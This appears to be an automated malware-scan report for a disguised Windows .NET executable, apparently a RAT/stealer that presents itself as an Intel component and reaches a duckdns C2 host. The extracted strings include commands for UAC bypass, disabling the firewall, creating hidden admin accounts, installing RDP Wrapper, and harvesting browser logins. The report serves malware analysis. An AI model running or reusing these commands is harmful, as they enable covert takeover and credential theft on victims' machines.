PREMIUM PESCAN.IO - Analysis Report |
|||||||
| File Structure |
|
PE Chart Code
Header PE (light blue)
Executable sections (pink)
Non-executable sections (black)
External injected code (red)
File Structure in red = malformed or corrupted header
Chart Code For Other Files
Printable characters (blue)
Non-printable characters (black)
| Information |
| Size: 292,00 KB SHA-256 Hash: 706BD2E1AAC21FADFBCFE1E6639A6488C574F00B007E087718282C597BEBF1C1 SHA-1 Hash: C401C3621C53FD64594E989A77BA055859B3D87C MD5 Hash: 2AC18DCB91824B1838EF83DA2E2E8C14 Imphash: F34D5F2D4577ED6D9CEEC516C1F5A744 MajorOSVersion: 4 MinorOSVersion: 0 CheckSum: 00000000 EntryPoint (rva): 4A2CE SizeOfHeaders: 200 SizeOfImage: 50000 ImageBase: 400000 Architecture: x86 ImportTable: 4A274 IAT: 2000 Characteristics: 102 TimeDateStamp: 69DD13DA Date: 13/04/2026 16:03:38 File Type: EXE Number Of Sections: 3 ASLR: Enabled Section Names: .text, .rsrc, .reloc Number Of Executable Sections: 1 Subsystem: Windows GUI UAC Execution Level Manifest: asInvoker |
| Sections Info |
| Section Name | Flags | ROffset | RSize | VOffset | VSize | Entropy | Chi2 |
|---|---|---|---|---|---|---|---|
| .text | 0x60000020 Code Executable Readable |
200 | 48400 | 2000 | 482D4 |
|
|
| .rsrc | 0x40000040 Initialized Data Readable |
48600 | 800 | 4C000 | 688 |
|
|
| .reloc | 0x42000040 Initialized Data GP-Relative Readable |
48E00 | 200 | 4E000 | C |
|
|
| Description |
| OriginalFilename: Cliente_lachencha5045_duckdns_org_5045.exe CompanyName: Intel Corporation LegalCopyright: Copyright Intel Corporation 2026 ProductName: System Runtime FileVersion: 8.4.4512.0 FileDescription: System Runtime ProductVersion: 8.4.4512.0 Comments: System component Language: Unknown (ID=0x0) CodePage: Unicode (UTF-16 LE) (0x4B0) |
| Entry Point |
The section number (1) - (.text) have the Entry Point Information -> EntryPoint (calculated) - 484CE Code -> FF25002040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Assembler |JMP DWORD PTR [0X402000] |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |ADD BYTE PTR [EAX], AL |
| Signatures |
| Certificate - Digital Signature Not Found: • The file is not signed |
| Packer/Compiler |
| Compiler: Microsoft Visual .NET - (You can use a decompiler for this...) • AnyCPU: True • Version: v4.0 Detect It Easy (die) • PE: Protector: Eziriz .NET Reactor(6.x.x.x)[By Dr.FarFar] • PE: library: .NET(v4.0.30319)[-] • PE: linker: Microsoft Linker(11.0)[-] • Entropy: 5.18 |
| Suspicious Functions |
| Library | Function | Description |
|---|---|---|
| KERNEL32.DLL | LoadLibraryW | Possible Call API By Name | Loads the specified module into the address space of the calling process. |
| KERNEL32.DLL | GetModuleHandle | Possible Call API By Name | Retrieves a handle to the specified module. |
| KERNEL32.DLL | GetProcAddress | Possible Call API By Name | Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL). |
| KERNEL32.DLL | GetModuleHandle | Retrieves a handle to the specified module. |
| KERNEL32.DLL | CreateRemoteThread | Creates a thread in the address space of another process. |
| KERNEL32.DLL | WriteProcessMemory | Writes data to an area of memory in a specified process. |
| KERNEL32.DLL | GetProcAddress | Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL). |
| USER32.DLL | GetAsyncKeyState | Retrieves the status of a virtual key asynchronously. |
| ADVAPI32.DLL | CryptDecrypt | Performs a cryptographic operation on data in a data block. |
| Windows REG (UNICODE) |
| Software\Classes\ms-settings\Shell\Open\commandDelegateExecute Software\Classes\ms-settingsYSHELL|OUT|Bypass UAC (fodhelper) ejecutado. SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 2>nul SOFTWARE\Microsoft\Windows\CurrentVersion\Run Software\Classes\mscfile\Shell\Open\command Software\Classes\mscfile SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /vSoftware\Brave-Browser\User DataOpera Software\Opera Stable Software\Opera GX Stable Software\Google\Chrome\BLBeacon SOFTWARE\Microsoft\Windows NT\CurrentVersion Rebuilt string - SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| File Access |
| Cliente_lachencha5045_duckdns_org_5045.exe mscoree.dll advapi32.dll ncrypt.dll bcrypt.dll winmm.dll gdi32.dll ntdll.dll kernel32.dll user32.dll Temp |
| File Access (UNICODE) |
| kernel32.dll user32.dll RDPWInst.exe Cliente_lachencha5045_duckdns_org_5045.exe robocopy.exe msedge.exe firefox.exe chrome.exe explorer.exe DEBUG] csc.exe csc.exe mshta.exe rundll32.exe msiexec.exe %/f /im svchost.exe taskkill.exe )computerdefaults.exe powershell.exe schtasks.exe cmstp.exe fodhelper.exe cmd.exe wscript.exe wchelper.exe kernel32.dll hook.dll rdpwrap.ini $rdpDir\rdpwrap.ini ini/master/rdpwrap.ini 2.zip 9-GH.zip TEMP\rdpwrap.zip wch.zip Temp AppData |
| SQL Queries |
| SELECT * FROM Win32_Processor SELECT * FROM Win32_VideoController SELECT TotalVisibleMemorySize FROM Win32_OperatingSystem SELECT ProcessorId FROM Win32_Processor SELECT SerialNumber FROM Win32_DiskDrive SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Camera' OR PNPClass = 'Image')S"cam":" SELECT displayName FROM AntiVirusProduct |
| Interest's Words |
| lockbit Virus Encrypt Decrypt KeyLogger PassWord <main exec attrib start pause cipher hostname systeminfo ping replace |
| Interest's Words (UNICODE) |
| Virus taskkill Encrypt PassWord wscript mshta exec powershell schtasks netsh taskkill start pause wmic robocopy rundll32 cacls icacls netstat schtask xcopy netcfg ping rundll expand route sc.exe |
| URLs (UNICODE) |
| http://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim()}catch{}if(-not $wanIP){try{$wanIP=(Invoke-WebRequest -Uri ' http://ip-api.com/json/?fields=country,cityDesconocida https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip' -OutFile $zipFile -UseBasicParsing}catch{L "Error descargando: $_"} } |
| AV Services (UNICODE) |
| securitycenter2.exe - (SecurityCenter2) |
| IP Addresses |
| 127.0.0.1 |
| Strings/Hex Code Found With The File Rules |
| Rule Type | Encoding | Matched (Word) |
|---|---|---|
| Text | Ascii | File (GetTempPath) |
| Text | Ascii | Encryption (FromBase64String) |
| Text | Ascii | Encryption (ToBase64String) |
| Text | Ascii | Encryption API (CryptDecrypt) |
| Text | Ascii | Anti-Analysis VM (GetVersion) |
| Text | Ascii | Stealth (CloseHandle) |
| Text | Ascii | Stealth (VirtualAlloc) |
| Text | Unicode | Stealth (VirtualProtect) |
| Text | Ascii | Stealth (CreateRemoteThread) |
| Text | Ascii | Execution (CreateProcessW) |
| Text | Unicode | Execution (CreateProcessW) |
| Text | Ascii | Execution (ShellExecute) |
| Text | Ascii | Execution (ResumeThread) |
| Text | Unicode | Privileges (SeDebugPrivilege) |
| Text | Unicode | Keyboard Key ([Enter]) |
| Text | Unicode | Keyboard Key ([Tab]) |
| Text | Unicode | Keyboard Key (Scroll) |
| Text | Ascii | Malicious code executed after exploiting a vulnerability (Payload) |
| Text | Unicode | Signal sent from infected system to a command and control server (Beacon) |
| Text | Ascii | Software that records keystrokes to steal credentials (Keylogger) |
| Text | Unicode | Malware that monitors and collects user data (Spy) |
| Text | Ascii | Technique used to insert malicious code into legitimate processes (Inject) |
| Text | Ascii | Malicious rerouting of traffic to an attacker-controlled site (Redirect) |
| Text | Unicode | Technique used to circumvent security measures (Bypass) |
| Entry Point | Hex Pattern | Microsoft Visual C / Basic .NET |
| Entry Point | Hex Pattern | Microsoft Visual C++ 8 |
| Entry Point | Hex Pattern | Microsoft Visual C++ 8.0 |
| Entry Point | Hex Pattern | Microsoft Visual C v7.0 / Basic .NET |
| Entry Point | Hex Pattern | Microsoft Visual Studio .NET |
| Entry Point | Hex Pattern | .NET executable |
| Resources |
| Path | DataRVA | Size | FileOffset | Code | Text |
|---|---|---|---|---|---|
| \VERSION\1\0 | 4C0A0 | 3F8 | 486A0 | F80334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001000400 | ..4...V.S._.V.E.R.S.I.O.N._.I.N.F.O............... |
| \24\1\0 | 4C498 | 1EA | 48A98 | EFBBBF3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E65 | ...<?xml version="1.0" encoding="UTF-8" standalone |
| Intelligent String |
| • Cliente_lachencha5045_duckdns_org_5045.exe • wch.zip • wchelper.exe • .vbs • wscript.exe • 3lachencha5045.duckdns.org • .tmp • cmd.exe • fodhelper.exe • .bat • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 2>nul • .inf • CommandLine=cmd /c " • cmstp.exe • schtasks.exe • 9" /sc onlogon /rl highest /f • ;/delete /tn "SystemUpdate" /f • powershell.exe • runas • )computerdefaults.exe • <?xml version="1.0"?><Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><RegistrationInfo<Principals><Principal><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries></Settings><Actions><Exec><Command> • .xml • ;/delete /tn "WinUpdateSvc" /f • eventvwr.msc • taskkill.exe • %/f /im svchost.exe • .jpg • .exe • .com • .scr • .cmd • .vbe • .jse • .wsf • .ps1 • .msi • .dll • .hta • msiexec.exe • rundll32.exe • mshta.exe • hook.dll • Microsoft.NET • csc.exe • e[DEBUG] csc.exe not found, anti-detect DLL skipped • kernel32.dll • explorer.exe • chrome.exe • firefox.exe • msedge.exe • robocopy.exe • Login Data • %Login Data-journal • .log • net user • 1 /ADD /Y 2>&1 | Out-Null • + /ADD 2>&1 | Out-Null • M:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Force | Out-Null • M:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Name ' • M:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 0 -Type DWord • M:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name 'fSingleSessionPerUser' -Value 0 -Type DWord • M:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'UserAuthentication' -Value 0 -Type DWord • M:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'SecurityLayer' -Value 0 -Type DWord • Wnetsh advfirewall set allprofiles state off • netsh advfirewall firewall add rule name='HRDP' dir=in action=allow protocol=TCP localport=3389 profile=any 2>&1 | Out-Null • C:\Program Files\RDP Wrapper' • 5 Invoke-WebRequest -Uri 'https://github.com/sebaxakerhtc/rdpwrap/releases/download/v1.8.9.9/RDPWrap-v1.8.9.9-GH.zip' -OutFile $zipFile -UseBasicParsing • i try{Invoke-WebRequest -Uri 'https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip' -OutFile $zipFile -UseBasicParsing}catch{L "Error descargando: $_"} • try{Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini' -OutFile "$rdpDir\rdpwrap.ini" -UseBasicParsing;L 'rdpwrap.ini actualizado'}catch{} • S }else{L 'RDPWInst.exe no encontrado'} • try{$wanIP=(Invoke-WebRequest -Uri 'http://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim()}catch{} • if(-not $wanIP){try{$wanIP=(Invoke-WebRequest -Uri 'http://ifconfig.me/ip' -UseBasicParsing -TimeoutSec 5).Content.Trim()}catch{}} • .wan • ) "cmd /c exit" 2>nul • logins • http://ip-api.com/json/?fields=country,city • _CorExeMainmscoree.dll |
| Flow Anomalies |
| Offset | RVA | Section | Description |
|---|---|---|---|
| 484CE | 402000 | .text | JMP [static] | Indirect jump to absolute memory address |
| Extra Analysis |
| Metric | Value | Percentage |
|---|---|---|
| Ascii Code | 159122 | 53,2166% |
| Null Byte Code | 117645 | 39,3451% |
© 2026 All rights reserved.